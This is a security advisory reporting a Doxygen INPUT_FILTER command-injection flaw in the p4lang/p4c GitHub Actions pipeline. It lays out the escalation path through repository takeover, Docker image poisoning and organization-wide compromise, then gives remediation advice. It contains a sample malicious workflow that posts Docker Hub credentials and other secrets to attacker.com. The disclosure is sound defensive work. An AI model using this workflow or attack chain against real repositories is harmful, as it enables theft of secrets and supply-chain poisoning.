Skip to content

Arbitrary Code Execution to CICD via Doxygen INPUT_FILTER Leading to Full Organization Compromise

Critical
fruffy published GHSA-6cw7-hxfh-8x94 Jan 21, 2026

Package

P4Lang (CI)

Affected versions

< 0

Patched versions

None

Description

[Critical] Arbitrary Code Execution to CICD via Doxygen INPUT_FILTER Leading to Full Organization Compromise

Advisory Information

Field Value
Advisory Title Arbitrary Code Execution in CI/CD Pipeline via Doxygen INPUT_FILTER
Affected Repository p4lang/p4c
Impacted Version After a full forensic analysis, we confirmed the vulnerability was not exploited, and no container images or packages were impacted.
Fix Status Fixed
Severity CRITICAL
CVSS v3.1 Score 10.0 (Critical)
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE Classification CWE-78: OS Command Injection
Reporter Barak Haryati This research was conducted as part of JFrog’s Open Source and Supply Chain Security Contribution efforts. 🐸

Executive Summary

A critical vulnerability exists in the p4lang/p4c GitHub Actions workflow that allows arbitrary code execution through Doxygen's INPUT_FILTER directive. When triggered in privileged CI contexts, an attacker can execute arbitrary commands with elevated repository permissions, leading to:

  1. Full repository takeover of p4lang/p4c
  2. Exfiltration of Docker Hub credentials
  3. Supply chain poisoning of the p4lang/p4-spec-asciidoc Docker image
  4. Cascading compromise of downstream repositories (p4lang/p4-spec and beyond)
  5. Full p4lang organization compromise

Vulnerability Details

Root Cause

The GitHub Actions workflow invokes Doxygen for documentation generation. Doxygen's INPUT_FILTER configuration option executes arbitrary shell commands on input files. When an attacker submits a pull request with malicious content, this code executes within the privileged CI runner context.

Attack Vector Analysis

Attribute Value
Attack Vector Network (via Pull Request)
Attack Complexity Low
Privileges Required None (any GitHub user)
User Interaction None
Scope Changed (cross-repository impact)

CVSS v3.1 Breakdown

Metric Value Rationale
Attack Vector (AV) Network Attacker submits a PR remotely via public GitHub
Attack Complexity (AC) Low No special conditions, just open a PR
Privileges Required (PR) None Any GitHub user can fork and create a PR
User Interaction (UI) None CI triggers automatically, no approval required
Scope (S) Changed Compromises other repos (p4-spec) and Docker Hub
Confidentiality (C) High Secrets exfiltrated (Docker Hub credentials, tokens)
Integrity (I) High Can modify repo contents, poison Docker images
Availability (A) High Can delete repo contents, disrupt CI/CD pipelines

Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Proof of Concept

Evidence 1: Successful Code Execution & Data Exfiltration

The PoC successfully executed arbitrary code during the CI run and exfiltrated sensitive data to an external webhook, including Git configuration and GitHub authorization headers.

Webhook receiving exfiltrated credentials from CI runner:

Exfiltrated Credentials via Webhook

Key findings from exfiltration:

  • Git remote configuration
  • GitHub authorization headers (http.https://github.com/.extraheader=AUTHORIZATION: basic ...)
  • Runner path information
  • Repository configuration data

Evidence 2: PoC Workflow Execution

The malicious code executed during the "Generate Doxygen Documentation" step in the build-and-deploy workflow.

PoC execution in fork (barakharyati/p4c):

PoC Doxygen Execution

PoC Links:

Evidence 3: Elevated GITHUB_TOKEN Permissions

The workflow runs with dangerously elevated permissions that enable full repository takeover.

GITHUB_TOKEN permissions in p4lang/p4c workflow:

GitHub Token Elevated Permissions

Permission Access Level Attack Potential
Contents write Push malicious commits, modify workflow files, access ANY repository secret
Pages write Deploy malicious content to GitHub Pages
PullRequests write Approve and merge malicious PRs
Issues write Social engineering, manipulation
Actions read Enumerate workflow configurations

Original Repository Permissions: https://github.com/p4lang/p4c/actions/runs/20511291672/job/58932649392?pr=5457#step:1:21

Supply Chain Attack Escalation

Critical: Contents Write Enables Access to ALL Repository Secrets

With contents: write permission, the attacker can modify any workflow file or push new workflow files to the repository. This is the key escalation vector that enables access to ALL repository secrets.

Two attack options:

Option A: Modify the current workflow during execution

  • Add secret references directly to the running workflow
  • Exfiltrate secrets in the same CI run

Option B: Push a new workflow to master

  • Create a new workflow file (e.g., .github/workflows/exfil.yml)
  • The workflow references any secret stored in the repository
  • Trigger via push, workflow_dispatch, or schedule
  • Secrets are exfiltrated to attacker-controlled endpoint

Example malicious workflow:

name: Exfiltrate
on: [push, workflow_dispatch]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
      - name: Send secrets
        run: |
          curl -X POST https://attacker.com/collect \
            -d "docker_user=${{ secrets.DOCKER_USERNAME }}" \
            -d "docker_pass=${{ secrets.DOCKER_PASSWORD }}" \
            -d "any_secret=${{ secrets.ANY_SECRET_NAME }}"

This means the attacker is not limited to secrets referenced in existing workflows - they can access every secret configured in the repository by adding references to them.

Stage 1: Docker Hub Credential Exfiltration

The ci-release.yml workflow contains Docker Hub credentials that can be exfiltrated by an attacker with code execution.

Docker Hub secrets exposed in ci-release.yml:

Docker Hub Secrets in Workflow

DockerHub Credentials:

- name: Login to DockerHub
  uses: docker/login-action@v3
  with:
    username: ${{ secrets.DOCKER_USERNAME }}
    password: ${{ secrets.DOCKER_PASSWORD }}

Stage 2: Docker Image Push Capability

The workflow has verified push access to the p4lang Docker Hub organization.

Successful Docker push to p4lang registry:

Docker Push to p4lang Registry

Evidence shows:

  • Pushing to docker.io/p4lang/p4c:1.2.5.10
  • Authentication token obtained for registry-1.docker.io
  • Full push permissions to p4lang organization images

Stage 3: Downstream Supply Chain Poisoning

The p4lang/p4-spec-asciidoc:latest Docker image is used by other p4lang repositories, enabling cascading compromise.

p4lang/p4-spec using the potentially poisoned Docker image:

Downstream p4-spec Uses Poisoned Image

Downstream Target: https://github.com/p4lang/p4-spec/blob/main/.github/workflows/any-branch-uploads.yml#L13

- name: Build spec
  run: |
    docker run -v `pwd`/docs/v1:/usr/src/p4-spec p4lang/p4-spec-asciidoc:latest make

Full Attack Chain Visualization

┌─────────────────────────────────────────────────────────────────────────────────┐
│                           COMPLETE ATTACK CHAIN                                 │
├─────────────────────────────────────────────────────────────────────────────────┤
│                                                                                 │
│  ┌────────────────┐                                                             │
│  │   ATTACKER     │                                                             │
│  │  Opens PR to   │                                                             │
│  │  p4lang/p4c    │                                                             │
│  └───────┬────────┘                                                             │
│          │                                                                      │
│          ▼                                                                      │
│  ┌────────────────────────────────────────────────────────────────────────────┐ │
│  │ STAGE 1: Initial Code Execution                                            │ │
│  │ ═══════════════════════════════                                            │ │
│  │ • Doxygen INPUT_FILTER processes attacker-controlled files                 │ │
│  │ • Arbitrary shell commands execute in CI runner                            │ │
│  │ • Full access to GITHUB_TOKEN with write permissions                       │ │
│  └───────┬────────────────────────────────────────────────────────────────────┘ │
│          │                                                                      │
│          ▼                                                                      │
│  ┌────────────────────────────────────────────────────────────────────────────┐ │
│  │ STAGE 2: Repository Takeover + Workflow Modification                       │ │
│  │ ═══════════════════════════════════════════════════                        │ │
│  │ • Push malicious commits to p4lang/p4c                                     │ │
│  │ • CRITICAL: Modify workflow files to reference ANY secret                  │ │
│  │ • Contents:write allows editing .github/workflows/*.yml                    │ │
│  │ • Deploy malicious content to GitHub Pages                                 │ │
│  └───────┬────────────────────────────────────────────────────────────────────┘ │
│          │                                                                      │
│          ▼                                                                      │
│  ┌────────────────────────────────────────────────────────────────────────────┐ │
│  │ STAGE 3: Exfiltrate ALL Repository Secrets                                 │ │
│  │ ═════════════════════════════════════════                                  │ │
│  │ • Option A: Add secret references to current workflow during execution     │ │
│  │ • Option B: Push new workflow to master that exfiltrates secrets           │ │
│  │ • DOCKER_USERNAME, DOCKER_PASSWORD, and ANY other secrets exposed          │ │
│  └───────┬────────────────────────────────────────────────────────────────────┘ │
│          │                                                                      │
│          ▼                                                                      │
│  ┌────────────────────────────────────────────────────────────────────────────┐ │
│  │ STAGE 4: Docker Image Poisoning                                            │ │
│  │ ═══════════════════════════════                                            │ │
│  │ • Push backdoored p4lang/p4-spec-asciidoc:latest                           │ │
│  │ • Potentially poison p4lang/p4c images                                     │ │
│  │ • Malicious code embedded in base images                                   │ │
│  └───────┬────────────────────────────────────────────────────────────────────┘ │
│          │                                                                      │
│          ▼                                                                      │
│  ┌────────────────────────────────────────────────────────────────────────────┐ │
│  │ STAGE 5: Cascading Organization Compromise                                 │ │
│  │ ═════════════════════════════════════════                                  │ │
│  │ • p4lang/p4-spec pulls poisoned Docker image                               │ │
│  │ • Malicious code executes in p4-spec CI pipeline                           │ │
│  │ • Access to p4-spec secrets (AWS credentials visible in workflow)          │ │
│  │ • Potential compromise of all p4lang repositories using shared images      │ │
│  └───────┬────────────────────────────────────────────────────────────────────┘ │
│          │                                                                      │
│          ▼                                                                      │
│  ┌────────────────────────────────────────────────────────────────────────────┐ │
│  │ ██████████████████████████████████████████████████████████████████████████ │ │
│  │ ██  FULL p4lang ORGANIZATION COMPROMISE + SUPPLY CHAIN ATTACK           ██ │ │
│  │ ██████████████████████████████████████████████████████████████████████████ │ │
│  └───────┬────────────────────────────────────────────────────────────────────┘ │
│          │                                                                      │
│          ▼                                                                      │
│  ┌────────────────────────────────────────────────────────────────────────────┐ │
│  │ DOWNSTREAM IMPACT: Any Consumer of p4lang                                  │ │
│  │ ═════════════════════════════════════════                                  │ │
│  │                                                                            │ │
│  │ Affected via Docker Hub:                                                   │ │
│  │ • Any CI/CD pipeline pulling p4lang/* container images                     │ │
│  │ • Any developer using p4lang Docker images locally                         │ │
│  │ • Any production system running p4lang containers                          │ │
│  │                                                                            │ │
│  │ Affected via GitHub:                                                       │ │
│  │ • Any project cloning/forking p4lang repositories                          │ │
│  │ • Any project using p4lang as a dependency                                 │ │
│  │ • Any project using p4lang GitHub releases/artifacts                       │ │
│  │                                                                            │ │
│  │ Affected via P4 ecosystem:                                                 │ │
│  │ • P4 language specification consumers                                      │ │
│  │ • P4 compiler users (network switches, SDN infrastructure)                 │ │
│  │ • Research and academic institutions using P4                              │ │
│  │ • Enterprise networks relying on P4-programmed devices                     │ │
│  │                                                                            │ │
│  └────────────────────────────────────────────────────────────────────────────┘ │
│                                                                                 │
└─────────────────────────────────────────────────────────────────────────────────┘

Impact Assessment

Confidentiality: CRITICAL

  • Exfiltration of repository secrets (Docker Hub, potentially AWS)
  • Access to GitHub authorization tokens
  • Exposure of private workflow configurations and internal paths

Integrity: CRITICAL

  • Arbitrary modification of p4lang/p4c source code
  • Injection of backdoors into releases and Docker images
  • Poisoning of downstream dependencies
  • Manipulation of P4 language specifications

Availability: HIGH

  • Deletion of repository contents
  • Disruption of CI/CD pipelines across organization
  • Potential denial of service for dependent projects

Scope: ORGANIZATION-WIDE

Affected Asset Impact Level
p4lang/p4c Direct compromise
p4lang Docker Hub Full write access
p4lang/p4-spec Indirect via poisoned image
All p4lang repos using shared images Potential compromise
Downstream P4 ecosystem users Supply chain risk

Reproduction Steps

  1. Fork p4lang/p4c repository
  2. Create a branch with malicious content that exploits Doxygen's INPUT_FILTER
  3. Submit a pull request to the upstream repository
  4. The CI workflow triggers and executes arbitrary code
  5. Attacker code runs with elevated GITHUB_TOKEN permissions
  6. (Validated) Successfully exfiltrated data to external webhook

Recommended Remediation

Immediate Actions (Priority: CRITICAL)

  1. Restrict workflow permissions - Apply least privilege:

    permissions:
  contents: read
  pages: read
  pull-requests: read

  2. Change workflow trigger - Avoid pull_request_target:

    on:
  pull_request:  # Instead of pull_request_target

  3. Isolate documentation generation - Run Doxygen in a separate job without access to secrets

  4. Audit and sanitize Doxygen configuration - Remove or restrict INPUT_FILTER usage

Short-term Actions

  1. Rotate Docker Hub credentials immediately after remediation
  2. Audit Docker images for signs of tampering
  3. Review recent workflow runs for suspicious activity

Long-term Recommendations

  1. Enable GitHub Private Vulnerability Reporting
  2. Add SECURITY.md with clear disclosure instructions
  3. Implement workflow security hardening:
    • Pin actions to full commit SHAs
    • Use workflow_run with approval gates for external PRs
    • Separate documentation workflows from release workflows
  4. Conduct organization-wide audit for similar patterns

Responsible Disclosure Note

While preparing this report, it was noted that:

  • The repository does not have a security policy defined
  • No dedicated security contact email is provided
  • GitHub Security Advisory / private vulnerability reporting is not enabled

Recommendation: Enable GitHub's private vulnerability reporting and add a SECURITY.md file to facilitate safe, coordinated disclosure.

Disclosure Timeline

Date Action
2025-12-28 Vulnerability discovered and validated
2025-12-28 PoC demonstrated on fork
2025-12-28 Initial report prepared
[PENDING] Report submitted to maintainers
[PENDING] Maintainer acknowledgment
[PENDING] Remediation deployed

References

Reporter

Barak Haryati | JFrog

This research was conducted as part of JFrog’s Open Source and Supply Chain Security Contribution efforts. 🐸

Severity Classification: CRITICAL (CVSS 10.0)

Attack Type: Supply Chain Attack / CI/CD Pipeline Compromise / Arbitrary Code Execution

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits